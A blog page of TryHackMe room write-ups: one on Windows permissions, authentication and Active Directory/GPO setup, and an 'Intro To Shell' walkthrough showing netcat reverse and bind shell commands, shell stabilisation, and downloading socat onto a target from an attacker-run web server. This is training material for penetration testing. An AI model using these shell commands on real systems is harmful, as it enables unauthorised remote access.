-->

ABOUT US

Our development agency is committed to providing you the best service.

OUR TEAM

The awesome people behind our brand ... and their life motto.

  • Kumar Atul Jaiswal

    Ethical Hacker

    Hacking is a Speed of Innovation And Technology with Romance.

  • Kumar Atul Jaiswal

    CEO Of Hacking Truth

    Loopholes are every major Security,Just need to Understand it well.

  • Kumar Atul Jaiswal

    Web Developer

    Techonology is the best way to Change Everything, like Mindset Goal.

OUR SKILLS

We pride ourselves with strong, flexible and top notch skills.

Marketing

Development 90%
Design 80%
Marketing 70%

Websites

Development 90%
Design 80%
Marketing 70%

PR

Development 90%
Design 80%
Marketing 70%

ACHIEVEMENTS

We help our clients integrate, analyze, and use their data to improve their business.

150

GREAT PROJECTS

300

HAPPY CLIENTS

650

COFFEES DRUNK

1568

FACEBOOK LIKES

STRATEGY & CREATIVITY

Phasellus iaculis dolor nec urna nullam. Vivamus mattis blandit porttitor nullam.

PORTFOLIO

We pride ourselves on bringing a fresh perspective and effective marketing to each project.

  • Intro to windows - active directory and Azure active directory

    Intro to windows - active directory and Azure active directory  
       

     

     

    Windows history


    On November 20, 1985 Microsoft announced its operating system named Windows which was a graphical operating system shell as a response to growing GUIs (graphical user interfaces). At the moment Windows dominates the word of computers with around 90% market share and it overtook Apple (Mac OS) which was introduced in 1984. Intro to windows - active directory and Azure active directory



    Windows versions:

    •     Windows 1
    •     Windows 2
    •     Windows 2.x
    •     Windows 3.x
    •     Windows 95
    •     Windows 98
    •     Windows NT
    •     Windows XP
    •     Windows Vista
    •     Windows 7
    •     Windows 8.x
    •     Windows 10



    Windows server versions:



    •     Windows Server 2003
    •     Windows Server 2008
    •     Windows Server 2012 / 2012 R2
    •     Windows Server 2016
    •     Windows Server 2019


    Read a little about Windows history and versions.

    1) When was Windows announced?

    Ans :- November 20 1985



    2) Which is the latest version of Windows?

    Ans :- windows 10



    3) Which is the latest version of Windows Server?


    Ans :- windows server 2019




    Task 2 Windows file system and permissions explained


    What is the file system?



    It is the method and data structure that an operating system uses to keep track of files on a disk or partition. Without a file system, the information saved in a storage media would be one large body of data with no way to tell where the information begins and ends.



    Windows file system structure is:


    • Logical drives (Ex: Local Disk C)
    • Folders (these are the folders that come by default. Ex: Documents, Downloads, Music)
    • Files




    Something that might also interest you would be the folders located on the C drive and their role. These folders are:



    •     PerfLogs
    •     Program Files
    •     Program Files (x86)
    •     Users
    •     Windows




    Let me break them down and explain each of them:


    • PerfLogs - Stores the system issues and other reports regarding performance
    • Program Files and Program Files (x86) - Is the location where programs install unless you change their path (Ex: Choosing to install software on D drive)
    • Users - In this folder are stored the users created. It also stores users generated data (Ex: Saving a file on your Desktop)
    • Windows - It's the folder which basically contains the code to run the operating system and some utility tools (we'll talk about them later)

     

     

     


     

     


    File permissions


    FIles permissions can be set by an administrator or a privileged account. These permissions can be applied to:

    •     Users
    •     Groups

       

    Permissions that can be set are:


    •     Full control
    •     Modify
    •     Read & execute
    •     List folders content
    •     Read
    •     Write
    •     Special permissions

       
       

    • Full control - allows the user/users/group/groups to set the ownership of the folder, set permission for others, modify, read, write, and execute files.
    •  
    • Modify - allows the user/users/group/groups to modify, read, write, and execute files.
    •  
    • Read & execute - allows the user/users/group/groups to read and execute files.
    •  
    • List folder contents - allows the user/users/group/groups to list the contents (files, subfolders, etc) of a folder.
    •  
    • Read - only allows the user/users/group/groups to read files.
    •  
    • Write - allows the user/users/group/groups to write data to the specified folder (automatically set when "Modify" right is checked).

     


    Note: You can allow or deny permissions for users or groups.

    To set permissions for a file or folder right click on the file and select "Properties". Go to the "Security" tab and click on the "Edit" button.

     

     

    Intro to windows - active directory and Azure active directory



     

    As you can see Users can only read, execute, and list the folder contents. However, we want to allow them to be able to store, edit, or delete files inside that folder. To do that, check the "Modify" box (you will see that by checking the Modify box the Write box will be automatically checked too).



    Intro to windows - active directory and Azure active directory

     

    To apply the changes click on the "Apply" button.



    The reason we do not set the full control permission on the folder is that users could set permissions and take ownership of the folder themselves (without the action of an administrator/privileged user).

    A tool you can use to check the files or folder permissions is "icacls".


    Intro to windows - active directory and Azure active directory


     

    Let's explain what those letters in parentheses mean as right now you might be confused.

    • I - permission inherited from the parent container
    • F - full access (full control)
    • M - Modify right/access
    • OI - object inherit
    • IO - inherit only
    • CI - container inherit
    • RX - read and execute
    • AD - append data (add subdirectories)
    • WD - write data and add files




    You can use icacls to check permissions, set ownership of the folder, set, remove or deny permissions. An example would be setting the ownership of the folder to Users.


    To check if that applied you can right-click on the folder and select "Properties", go to the "Security" tab, and click on "Advanced". There you should be able to see that the owner is "Users".


    Intro to windows - active directory and Azure active directory



    Read the above.

    In which folder are users profiles stored?


    Ans :- users

     

     

    Task 3 Understanding the authentication process



    What is authentication?


    Authentication is a process for verifying the identity of a person (or an object or a service). When you authenticate a person, the goal is to verify that the person is not an imposter.


    Local authentication


    Local authentication is done using the Local Security Authority (LSA). LSA is a protected subsystem that keeps track of the security policies and the accounts that are on a computer system. It also maintains information about all aspects of local security on a computer.



    Types of Active Directory

    There are two types of Active Directory:

    • On-Premise Active Directory (AD)
    • Azure Active Directory (AAD)




    Authentication on On-Premise Active Directory
     

     

    Intro to windows - active directory and Azure active directory

     

     

    On-premise Active Directory has a record of all users, PCs and Servers and authenticates the users signing in (the network logon). Once signed in, Active Directory also governs what the users are, and are not, allowed to do or access (authorization).


    In an on-premise Active Directory environment the authentication can be made by using the following protocols:


    •     NTLM
    •     LDAP / LDAPS
    •     KERBEROS




    NTLM / NTLM 2

    _______________

    NTLM uses a challenge-response sequence of messages between a client and a server system. NTLM  provides authentication based on a challenge-response authentication scheme. It does not provide data integrity or data confidentiality protection for the authenticated network connection.


     

    Intro to windows - active directory and Azure active directory

     

     

     

    LDAP / LDAPS

    _______________

    The main difference between LDAP and LDAPS is that LDAPS support encryption and therefore the credentials are not sent in plain text across the network.

    Another thing to keep in mind is that the Domain Controller (DC) can be considered a database of users, groups, computers and so on (contains information about objects). Using LDAP/LDAPS the user's workstation sends the credentials using an API to the Domain Controller in order to validate them and be able to log in.

    The procedure is similar to the image below:



    Intro to windows - active directory and Azure active directory




    KERBEROS

    _______________

    Another way to authenticate is using Kerberos. Kerberos uses symmetric-key cryptography and requires trusted third-party authorization to verify user identities. The authentication process is similar to the one below:

     

     

    Intro to windows - active directory and Azure active directory

     

     

    Authentication on Azure Active Directory



    Azure Active Directory is a secure online authentication store, which can contain users and groups. Users have a username and a password which are used when you sign in to an application that uses Azure Active Directory for authentication. So, for example, all of the Microsoft Cloud services use Azure Active Directory for authentication: Office 365, Dynamics 365 and Azure.


    Intro to windows - active directory and Azure active directory



     

    Azure Active Directory supports the following authentication methods:

    •     SAML (Security Assertion Markup Language)
    •     OAUTH 2.0
    •     OpenID Connect




    SAML (Security Assertion Markup Language)

    _______________

    Security Assertion Markup Language (SAML) is a type of Single Sign-On (SSO) standard. It defines a set of rules/protocols that allow users to access web applications with a single login. This is possible because those applications (referred to as “Service Providers”) all trust the systems that verify users’ identities (referred to as “Identity Providers”).

    • Service Providers - These are the systems and applications that users access throughout the day.


    • Identity Providers - This would be the system that performs user authentication.




    OAUTH 2.0


    _______________

    OAuth 2.0 is a standard that apps use to provide client applications with access.

    OAuth 2.0 spec has four important roles:



    • The authorization server, which is the server that issues the access token.
    • The resource owner, normally your application's end-user, that grants permission to access the resource server with an access token.
    • The client, which is the application that requests the access token, and then passes it to the resource server.
    • The resource server, which accepts the access token and must verify that it is valid. In this case, this is your application.




    OpenID Connect

    _______________

    OpenID Connect is an authentication standard built on top of OAuth 2.0. It adds an additional token called an ID token.

    For that, it uses simple JSON Web Tokens (JWT). While OAuth 2.0 is about resource access and sharing, OIDC is all about user authentication

     

    1) Which Active Directory is cloud based?

    Ans :- Azure Active Directory


     

    2) Which authentication method does not provide data integrity?

    Ans :- NTLM


     
    4) Authentication method that assings a ticket in order for a user to login?

    Ans :- kerberos

     

    3) Which authentication method allow users to access applications with a single login (short name)?

    Ans :- SAML


    4) Authentication method that uses JSON Web Tokens?

    Ans :- openID connect



     



    Task 4 Utility tools


    Built-in utility tools

    Windows comes with a variety of utility tools. Some of them are:

    •     Computer Management
    •     Local Security Policy
    •     Disk Cleanup
    •     Registry Editor
    •     Command-line tools
    •     Registry Editor (Regedit)


    Let's break each of them down and see their usage and why they are important.


    Computer Management


    Computer Management contains more tools such as:

    •     Task Scheduler
    •     Event Viewer
    •     Shared Folders
    •     Local users & computers
    •     Performance Monitor
    •     Disk Management
    •     Services & Applications


     

    Task Scheduler - This is a tool that allows predefined actions to be automatically executed whenever a certain set of conditions is met(Ex: You can set up a date and time for a piece of software to be installed, or a script to run).

    Event Viewer - Probably one of the most important tools that come with Windows. The Event Viewer logs events that happen across the device (Ex: Successful & Failed login attempts, System Errors, etc). The reason Event Viewer is important is because it can be used to forward the events to a SIEM (Security Information and Event Manager) which helps the IT team of a company determine possible malicious activities.

    Shared Folders
    - Is a directory or a folder that can be shared across the network and can be accessed by multiple users.

    Local users and computers - Using local users and computers we can create users, add them to different built-in groups, and they can be given different levels of access (Ex: User A can connect through RDP to a machine but user B can't).

    Performance Monitor -Performance Monitor monitors the different activities across the device such as CPU usage, memory usage, etc.

    Disk Management - Using Disk Management you can shrink, expand, create new partitions (drives) and format the partitions.

    Services & Applications - It is possible to check the running services on the system and you have the ability to start, stop or restart them.


     

    Local Security Policy


    Local Security Policy is a group of settings you can configure to strengthen the computer's security. Even though
    most policy settings in Windows are fine, there are a few that need adjusting for enhanced security. You can set the minimum password length, the password complexity level, you can disable guest & local administrator accounts, and many more.

    Note: If the computer is not integrated into an Active Directory environment disabling local administrator account is a bad idea.


    Disk Cleanup

    Another useful utility is Disk Cleanup. Using Disk Cleanup we can delete files that are no longer needed by the system and are just adding up to the computer disk space. Running Disk Cleanup as administrator we can also clean system files (Ex: sometimes, after getting updates some files remain on disk, but these are no longer needed).

    To access Disk Cleanup right-click on Local Disk C and click Properties. You should see a button in the General tab named "Disk Cleanup".


     

     

    Intro to windows - active directory and Azure active directory

     





    You just need to tick the box/files you want to clean and press OK.


    Registry Editor


    The Windows registry database stores many important operating system settings. For example, it contains entries with information about what should happen when double-clicking a particular file type or how wide the taskbar should be. Built-in and inserted hardware also stores information in the registry when the driver is installed; this driver is called up every time the system is booted up.

    To access the Registry Editor you can either search it or use Windows Key + R and type RegEdit.


    Command-line tools


    Windows comes equipped with two command-line tools:


    •     CMD
    •     Powershell
    •     Windows Terminal


    CMD is the command-line interpreter for Microsoft Windows operating systems used to automate various system-related tasks using scripts and batch files. Users can interact with the OS directly using text-based commands. It emulates most of the command line abilities available in MS-DOS through a command-line interface.


    Powershell is mainly used by sysadmins to manage the network and domain they handle, as well as the computers and other devices that are part of it. PowerShell is a scripting language. The PowerShell can interpret batch commands and Powershell commands, but the command prompt can only interpret batch commands.


    Both CMD and Powershell are powerful command-line tools used to automate system administration tasks by writing a script/batch file. However, CMD has limited administration capabilities as compared to Powershell, which, on the other hand, is a more advanced and modern shell implementation with additional features and enhancements (Ex: cmdlets).


    Windows Terminal can be used instead of Powershell and CMD and can be installed from the Microsoft Store. The application includes multiple tab support, alongside themes and customization for developers who want to tweak the Terminal.

    Registry Editor


    Registry Editor can be considered a database that contains low-level settings for Microsoft Windows settings and applications. The registries are structured as follows:

    •     HKEY_CLASSES_ROOT
    •     HKEY_CURRENT_USER
    •     HKEY_LOCAL_MACHINE
    •     HKEY_USERS
    •     HKEY_CURRENT_CONFIG




    A feature of Powershell is that you can browse the registries. You can do that by typing: "cd <REG DB>" (Example: cd HKLM:\).

     


     

    Intro to windows - active directory and Azure active directory



    Windows also has a builtin tool named "reg" which can be used from the command line to add, remove, query, import, export, etc registry keys.


    Intro to windows - active directory and Azure active directory


    There is also available a GUI that can be used. You can search for "Regedit" or type it in the command line.


    There is no point to remember the paths for some settings that are located in the registry editor. You can look up for the settings on the internet.





    Task 5 Types of servers

    What is a server?

    A server is a piece of hardware or software equipment that provides functionality for other softwares or devices.



    Intro to windows - active directory and Azure active directory




    Types of servers

    Servers can be used for a variety of actions or things. The most common ones are:

    •     Domain Controller
    •     File server
    •     Web server
    •     FTP Server
    •     Mail Server
    •     Database Server
    •     Proxy Server
    •     Application Server



    Domain Controller - Might be one of the most important servers because in an AD or AAD infrastructure we can control users, groups, restrict actions, improve security, and many more of other computers and servers.

    File Server - File servers provide a great way to share files across devices on a network.

    Web Server- It serves static or dynamic content to a Web browser by loading a file from a disk and serving it across the network to a user’s Web browser.

    FTP Server - Makes possible moving one or more files securely between computers while providing file security and organization as well as transfer control.

    Mail Server - Mail servers move and store mail over corporate networks (via LANs and WANs) and across the Internet.

    Database Server
    - A database server is a computer system that provides other computers with services related to accessing and retrieving data from one or multiple databases.

    Proxy Server - This server usually sits between a client program and an external server to filter requests, improve performance, and share connections.

    Application Server - They're usually used to connect the database servers and the users.
     

    Read the above.
     

    1) Which can be considered the most important server?

    Ans :- Domain Controller


    2) Which server can store emails?

    Ans :- Mail Server






    Task 6 Users and Groups Management


    Users and Groups Management in Active Directory

    In Active Directory user management is done using the Active Directory Users and Computers. To access it go to Tools > Active Directory Users and Computers.


    Intro to windows - active directory and Azure active directory



    Before any other action let's enable Advanced Features which adds additional features when looking at an object properties. That is doable by going to View > Advanced Features.


    Intro to windows - active directory and Azure active directory



    By double-clicking on thm.lab we are presented with the Active Directory tree.



    Intro to windows - active directory and Azure active directory



    Let's create an Organizational Unit (OU) where to store the users. To do that right-click on the domain name (thm.lab) and go to New > Organizational Unit. I named it LAB and clicked OK to create it.



    Intro to windows - active directory and Azure active directory



    Let's create two more OUs inside the newly created OU (it will look nested). In one OU we'll store users and in the second one, we'll store Groups. To create the OU's we can repeat the steps above (Right-click on LAB OU > New > Organizational Unit).

    Time to create some users and groups! To do so right-click on the Users OU and go to New > User and fill in the information required.



    Intro to windows - active directory and Azure active directory


    Click Next and set a password for the user.



    Intro to windows - active directory and Azure active directory




    The reason I checked only "Password never expires" is because I do not want the password to expire after a period of time (the default period of time in AD is 42 days). In a production environment, you would probably check "User must change password at next logon" so the user can set a password he desires after you created his AD account.

    Since the password can be set to expire after a period of time it would be a bad idea to check the "User cannot change password" because he won't be able to reset the password and you will have to manually intervene.

    As for the last box "Disable account" it's obvious the action that will take place. It will disable the user account. You might want to disable a user account in case he has a leave (let's say 6 months leave) and you do not want him or any other colleague or malicious entity to use his account.

    Click on Next and you will be shown the account information and click Finish to finish the account creation.

    Note: The username that is going to be used by the user in order to authenticate is the one you set in the User Logon Name.

    You've successfully created your first AD user. Now, create two more users and name them as you wish.

    We should have three users in the AD:




    Intro to windows - active directory and Azure active directory




    Let's move to the Groups OU. Right click on the OU > New > Group.

    I named the group Admins and clicked OK to create it.



    Intro to windows - active directory and Azure active directory


    Then I created another group named RDP Access.


    Intro to windows - active directory and Azure active directory



    And finally using the same method create one more group named No RDP Access.

    We should have the following groups in AD:


    Intro to windows - active directory and Azure active directory



    To assign a user to a group you can do that in two ways:

        Right-clicking a user > Add to a group



    Intro to windows - active directory and Azure active directory


    2. Double-clicking a group > click on Members tab > Add



    Intro to windows - active directory and Azure active directory


    Using the first method let's add Albert Einstein to the Admins group. A window will be prompted to search for an object in the AD. You can type in the Enter object name to select field the name of the group created (in my case Admins), click Check Names, and OK to add the user to the specified group.



    Intro to windows - active directory and Azure active directory





    Proceed to add one of the created users to the RDP Access group and the other to the No RDP Access group.

    Another thing to keep in mind is that an object can be a member of another object (Ex: A group can be a member of another group).

    We added Albert Einstein to a group named Admins. Let's add the Admins group to the Domain Admins group. To do that we can right-click on Admins group > Add to a group and search for Domain Admins and press OK.



    Intro to windows - active directory and Azure active directory



    As we've done with Albert Einstein's account, add both RDP Access and No RDP Access groups to the Remote Desktop Users group

    Note: Even though adding the No RDP Access group to the RDP Users group the No RDP Access group can be blocked using GPO. This will be done in the next task (Creating your first GPO).



    Task 7 Creating your first GPO


    What is Group Policy Objects?

    A GPO or a Group Policy Object is a feature of Active Directory that adds additional controls to user accounts and computers.

    Group Policy settings including local settings, site-wide settings, domain-level settings and settings applied to organizational units.

    Creating our first GPO


    To create a GPO we need to go to Tools > Group Policy Management inside the Server Manager.


     

     Intro to windows - active directory and Azure active directory

     



    Right-click on "Group Policy Objects" and create a new object. I will name mine "Groups GPO".
    To edit the GPO right-click on it > Edit.

     


    Intro to windows - active directory and Azure active directory

     

     

    For the purpose of this demo, we will set different permissions for the groups recently created.

    First, let's let users authenticate using RDP. To do so, go to Policies > Windows Settings > Security Settings > Local Policies > Users Right Assignment and double click on Allow log on through Remote Desktop Services.

     

     

     

    Intro to windows - active directory and Azure active directory

     



    Select Define these policy settings > Add user or group > Browse

     


    Intro to windows - active directory and Azure active directory

     

     

    Search for Admins and RDP Access groups and click OK > OK to add them.


     

     

    Intro to windows - active directory and Azure active directory

     

     

    To block a user or a group to login using RDP we can do that by double-clicking Deny log on through Remote Desktop Services and adding No RDP Access group in there.


    Intro to windows - active directory and Azure active directory


     

     

    We can close the editor and go back to our Group Policy Management console/tab/panel. In order to make the policy apply, we have to link the GPO to the root of the domain (thm.lab). To do that right-click on Domain Controllers OU > Link an existing GPO and select the GPO you created (Group GPO in my case) and press OK.



     

    Intro to windows - active directory and Azure active directory

     

    To apply the GPO open a CMD as an administrator (right-click on it > Run as administrator) and type the following: gpupdate /force and wait for the policy to apply.


    Intro to windows - active directory and Azure active directory


     

    Testing the GPO


    Let's try to RDP into the machine using each user and see the different level of access each has.

    The first user I'm going to login is Albert Einstein which has Domain Admin rights. The logon is successful. Open a CMD as admin and type "whoami".



     

    Intro to windows - active directory and Azure active directory

     

     

    As noticed we were able to start an elevated CMD.


    Sign out and log in using the account added to RDP Access group (In my case Jim Carrey).

    Try prompting an elevated CMD (Right-click on CMD > Run as administrator). You notice that UAC (User Account Control) asks for admin credentials. If you try entering the credentials (username and password) of the account you are currently logged in you will notice the CMD prompt will not pop out. This happens because you are a simple user on the machine, not an administrator.


     

    Intro to windows - active directory and Azure active directory

     

     

     

    Note: You can spawn the shell if you use an administrator credential (in my case Albert Einstein).


    Lastly, try logging in with the account added to the No RDP Access. You will get the following error:


    Intro to windows - active directory and Azure active directory


     

     

    This happens because even though the No RDP Access group has been added to the Remote Desktop Users group using the GPO earlier created he have blocked RDP access to the users that are in that group.




  • TryHackMe Intro To Shell - All About Shell


    TryHackMe Intro To Shell - All About Shell



    Before we can get into the intricacies of sending and receiving shells, it's important to understand what a shell actually is. In the simplest possible terms, shells are what we use when interfacing with a Command Line environment (CLI). In other words, the common bash or sh programs in Linux are examples of shells, as are cmd.exe and Powershell on Windows. When targeting remote systems it is sometimes possible to force an application running on the server (such as a webserver, for example) to execute arbitrary code. When this happens, we want to use this initial access to obtain a shell running on the target. TryHackMe Intro To Shell - All About Shell


    In simple terms, we can force the remote server to either send us command line access to the server (a reverse shell), or to open up a port on the server which we can connect to in order to execute further commands (a bind shell).


    We will be covering both of these scenarios in further detail throughout the room.


    The format of this room is as follows:


    • The bulk of the room is made up of information, with examples given in code blocks and screenshots.
    • There are two VMs -- one Linux, one Windows -- in the last two tasks of the room. These can be used to practice the techniques demonstrated.
    • There are example practice questions in Task 13. Feel free to work through these, or follow along with the tasks as you complete them.


    Without further ado, let's begin!

    Read and understand the introduction.





    Task 2 Tools


    There are a variety of tools that we will be using to receive reverse shells and to send bind shells. In general terms, we need malicious shell code, as well as a way of interfacing with the resulting shell. We will discuss each of these briefly below:

    Netcat:

    Netcat is the traditional "Swiss Army Knife" of networking. It is used to manually perform all kinds of network interactions, including things like banner grabbing during enumeration, but more importantly for our uses, it can be used to receive reverse shells and connect to remote ports attached to bind shells on a target system. Netcat shells are very unstable (easy to lose) by default, but can be improved by techniques that we will be covering in an upcoming task.


    Socat:


    Socat is like netcat on steroids. It can do all of the same things, and many more. Socat shells are usually more stable than netcat shells out of the box. In this sense it is vastly superior to netcat; however, there are two big catches:

    1. The syntax is more difficult
    2. Netcat is installed on virtually every Linux distribution by default. Socat is very rarely installed by default.


    There are work arounds to both of these problems, which we will cover later on.

    Both Socat and Netcat have .exe versions for use on Windows.

     

    Metasploit -- multi/handler:

    The auxiliary/multi/handler module of the Metasploit framework is, like socat and netcat, used to receive reverse shells. Due to being part of the Metasploit framework, multi/handler provides a fully-fledged way to obtain stable shells, with a wide variety of further options to improve the caught shell. It's also the only way to interact with a meterpreter shell, and is the easiest way to handle staged payloads -- both of which we will look at in task 9.



    Msfvenom:

    Like multi/handler, msfvenom is technically part of the Metasploit Framework, however, it is shipped as a standalone tool. Msfvenom is used to generate payloads on the fly. Whilst msfvenom can generate payloads other than reverse and bind shells, these are what we will be focusing on in this room. Msfvenom is an incredibly powerful tool, so we will go into its application in much more detail in a dedicated task.



    Aside from the tools we've already covered, there are some repositories of shells in many different languages. One of the most prominent of these is Payloads all the Things.

    https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md




    The PentestMonkey Reverse Shell Cheatsheet is also commonly used. In addition to these online resources, Kali Linux also comes pre-installed with a variety of webshells located at /usr/share/webshells.
    https://web.archive.org/web/20200901140719/http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet


    The SecLists repo, though primarily used for wordlists, also contains some very useful code for obtaining shells.


    Read the above and check out the links!
     

    https://github.com/danielmiessler/SecLists





    Task 3 Types of Shell


    At a high level, we are interested in two kinds of shell when it comes to exploiting a target: Reverse shells, and bind shells.

    • Reverse shells are when the target is forced to execute code that connects back to your computer. On your own computer you would use one of the tools mentioned in the previous task to set up a listener which would be used to receive the connection. Reverse shells are a good way to bypass firewall rules that may prevent you from connecting to arbitrary ports on the target; however, the drawback is that, when receiving a shell from a machine across the internet, you would need to configure your own network to accept the shell. This, however, will not be a problem on the TryHackMe network due to the method by which we connect into the network.

       
       
       

    • Bind shells are when the code executed on the target is used to start a listener attached to a shell directly on the target. This would then be opened up to the internet, meaning you can connect to the port that the code has opened and obtain remote code execution that way. This has the advantage of not requiring any configuration on your own network, but may be prevented by firewalls protecting the target.


     

    As a general rule, reverse shells are easier to execute and debug, however, we will cover both examples below. Don't worry too much about the syntax here: we will be looking at it in upcoming tasks. Instead notice the difference between reverse and bind shells in the following simulations.
     





    Reverse Shell example:


    Let's start with the more common reverse shell.

    Nine times out of ten, this is what you'll be going for -- especially in CTF challenges like those of TryHackMe.


    Take a look at the following image. On the left we have a reverse shell listener -- this is what receives the connection. On the right is a simulation of sending a reverse shell. In reality, this is more likely to be done through code injection on a remote website or something along those lines. Picture the image on the left as being your own computer, and the image on the right as being the target.

    On the attacking machine:

    sudo nc -lvnp 443



    On the target:

    nc <LOCAL-IP> <PORT> -e /bin/bash



    Notice that after running the command on the right, the listener receives a connection. When the whoami command is run, we see that we are executing commands as the target user. The important thing here is that we are listening on our own attacking machine, and sending a connection from the target.






    Bind Shell example:


    Bind shells are less common, but still very useful.

    Once again, take a look at the following image. Again, on the left we have the attacker's computer, on the right we have a simulated target. Just to shake things up a little, we'll use a Windows target this time. First, we start a listener on the target -- this time we're also telling it to execute cmd.exe. Then, with the listener up and running, we connect from our own machine to the newly opened port.


    On the target:

    nc -lvnp <port> -e "cmd.exe"



    On the attacking machine:

    nc MACHINE_IP <port>





    TryHackMe Intro To Shell - All About Shell






    As you can see, this once again gives us code execution on the remote machine. Note that this is not specific to Windows.

    The important thing to understand here is that we are listening on the target, then connecting to it with our own machine.



     

    The final concept which is relevant in this task is that of interactivity. Shells can be either interactive or non-interactive.

    • Interactive: If you've used Powershell, Bash, Zsh, sh, or any other standard CLI environment then you will be used to
    • interactive shells. These allow you to interact with programs after executing them. For example, take the SSH login prompt:




     


    TryHackMe Intro To Shell - All About Shell



     

    Here you can see that it's asking interactively that the user type either yes or no in order to continue the connection. This is an interactive program, which requires an interactive shell in order to run.

     

    Non-Interactive shells don't give you that luxury. In a non-interactive shell you are limited to using programs which do not require user interaction in order to run properly. Unfortunately, the majority of simple reverse and bind shells are non-interactive, which can make further exploitation trickier. Let's see what happens when we try to run SSH in a non-interactive shell:
       
       
       
     

    TryHackMe Intro To Shell - All About Shell
       
       
     

    Notice that the whoami command (which is non-interactive) executes perfectly, but the ssh command (which is interactive) gives us no output at all. As an interesting side note, the output of an interactive command does go somewhere, however, figuring out where is an exercise for you to attempt on your own. Suffice to say that interactive programs do not work in non-interactive shells.


    Additionally, in various places throughout this task you will see a command in the screenshots called listener. This command is aThe final concept n alias unique to the attacking machine used for demonstrations, and is a shorthand way of typing sudo rlwrap nc -lvnp 443, which will be covered in upcoming tasks. It will not work on any other machine unless the alias has been configured locally.


    1) Which type of shell connects back to a listening port on your computer, Reverse (R) or Bind (B)?

    Ans :- R


     

    2) You have injected malicious shell code into a website. Is the shell you receive likely to be interactive? (Y or N)

    Ans :- N

     

    3) When using a bind shell, would you execute a listener on the Attacker (A) or the Target (T)?

    Ans :- T





    Task 4 Netcat


    As mentioned previously, Netcat is the most basic tool in a pentester's toolkit when it comes to any kind of networking. With it we can do a wide variety of interesting things, but let's focus for now on shells.

    Reverse Shells

    In the previous task we saw that reverse shells require shellcode and a listener. There are many ways to execute a shell, so we'll start by looking at listeners.

    The syntax for starting a netcat listener using Linux is this:

    nc -lvnp <port-number>

    •     -l is used to tell netcat that this will be a listener
    •     -v is used to request a verbose output
    •     -n tells netcat not to resolve host names or use DNS. Explaining this is outwith the scope of the room.
    •     -p indicates that the port specification will follow.


    The example in the previous task used port 4444. Realistically you could use any port you like, as long as there isn't already a service using it. Be aware that if you choose to use a port below 1024, you will need to use sudo when starting your listener. That said, it's often a good idea to use a well-known port number (80, 443 or 53 being good choices) as this is more likely to get past outbound firewall rules on the target.



    A working example of this would be:

    sudo nc -lvnp 443

    We can then connect back to this with any number of payloads, depending on the environment on the target.

    An example of this is displayed in the previous task.


    Bind Shells


    If we are looking to obtain a bind shell on a target then we can assume that there is already a listener waiting for us on a chosen port of the target: all we need to do is connect to it. The syntax for this is relatively straight forward:

    nc <target-ip> <chosen-port>

    Here we are using netcat to make an outbound connection to the target on our chosen port.

    We will look at using netcat to create a listener for this type of shell in Task 8. What's important here is that you understand how to connect to a listening port using netcat.


    1) Which option tells netcat to listen?

    Ans :- -l



    2) How would you connect to a bind shell on the IP address: 10.10.10.11 with port 8080?

    Ans:- nc 10.10.10.11 8080




    Task 5 Netcat Shell Stabilisation


    Ok, so we've caught or connected to a netcat shell, what next?

    These shells are very unstable by default. Pressing Ctrl + C kills the whole thing. They are non-interactive, and often have strange formatting errors. This is due to netcat "shells" really being processes running inside a terminal, rather than being bonafide terminals in their own right. Fortunately, there are many ways to stabilise netcat shells on Linux systems. We'll be looking at three here. Stabilisation of Windows reverse shells tends to be significantly harder; however, the second technique that we'll be covering here is particularly useful for it.



    Technique 1: Python


    The first technique we'll be discussing is applicable only to Linux boxes, as they will nearly always have Python installed by default. This is a three stage process:
     

     

    The first thing to do is use python -c 'import pty;pty.spawn("/bin/bash")', which uses Python to spawn a better featured bash shell; note that some targets may need the version of Python specified. If this is the case, replace python with python2 or python3 as required. At this point our shell will look a bit prettier, but we still won't be able to use tab autocomplete or the arrow keys, and Ctrl + C will still kill the shell.
       

    Step two is: export TERM=xterm -- this will give us access to term commands such as clear.    

     

    Finally (and most importantly) we will background the shell using Ctrl + Z. Back in our own terminal we use stty raw -echo; fg. This does two things: first, it turns off our own terminal echo (which gives us access to tab autocompletes, the arrow keys, and Ctrl + C to kill processes). It then foregrounds the shell, thus completing the process. 



    The full technique can be seen here:


    TryHackMe Intro To Shell - All About Shell







    Note that if the shell dies, any input in your own terminal will not be visible (as a result of having disabled terminal echo). To fix this, type reset and press enter.


    Technique 2: rlwrap


    rlwrap is a program which, in simple terms, gives us access to history, tab autocompletion and the arrow keys immediately upon receiving a shell; however, some manual stabilisation must still be utilised if you want to be able to use Ctrl + C inside the shell. rlwrap is not installed by default on Kali, so first install it with sudo apt install rlwrap.



    To use rlwrap, we invoke a slightly different listener:

    rlwrap nc -lvnp <port>



    Prepending our netcat listener with "rlwrap" gives us a much more fully featured shell. This technique is particularly useful when dealing with Windows shells, which are otherwise notoriously difficult to stabilise. When dealing with a Linux target, it's possible to completely stabilise, by using the same trick as in step three of the previous technique: background the shell with Ctrl + Z, then use stty raw -echo; fg to stabilise and re-enter the shell.
     

     

    Technique 3: Socat


    The third easy way to stabilise a shell is quite simply to use an initial netcat shell as a stepping stone into a more fully-featured socat shell. Bear in mind that this technique is limited to Linux targets, as a Socat shell on Windows will be no more stable than a netcat shell. To accomplish this method of stabilisation we would first transfer a socat static compiled binary (a version of the program compiled to have no dependencies) up to the target machine. A typical way to achieve this would be using a webserver on the attacking machine inside the directory containing your socat binary (sudo python3 -m http.server 80), then, on the target machine, using the netcat shell to download the file. On Linux this would be accomplished with curl or wget (wget <LOCAL-IP>/socat -O /tmp/socat).

    For the sake of completeness: in a Windows CLI environment the same can be done with Powershell, using either Invoke-WebRequest or a webrequest system class, depending on the version of Powershell installed (Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe). We will cover the syntax for sending and receiving shells with Socat in the upcoming tasks.

    With any of the above techniques, it's useful to be able to change your terminal tty size. This is something that your terminal will do automatically when using a regular shell; however, it must be done manually in a reverse or bind shell if you want to use something like a text editor which overwrites everything on the screen.

    First, open another terminal and run stty -a. This will give you a large stream of output. Note down the values for "rows" and columns:



    TryHackMe Intro To Shell - All About Shell





    Next, in your reverse/bind shell, type in:

    stty rows <number>


    and



    stty cols <number>

    Filling in the numbers you got from running the command in your own terminal.

    This will change the registered width and height of the terminal, thus allowing programs such as text editors which rely on such information being accurate to correctly open.


    1) How would you change your terminal size to have 238 columns?

    Ans :- stty cols 238
     

     

    2) What is the syntax for setting up a Python3 webserver on port 80?

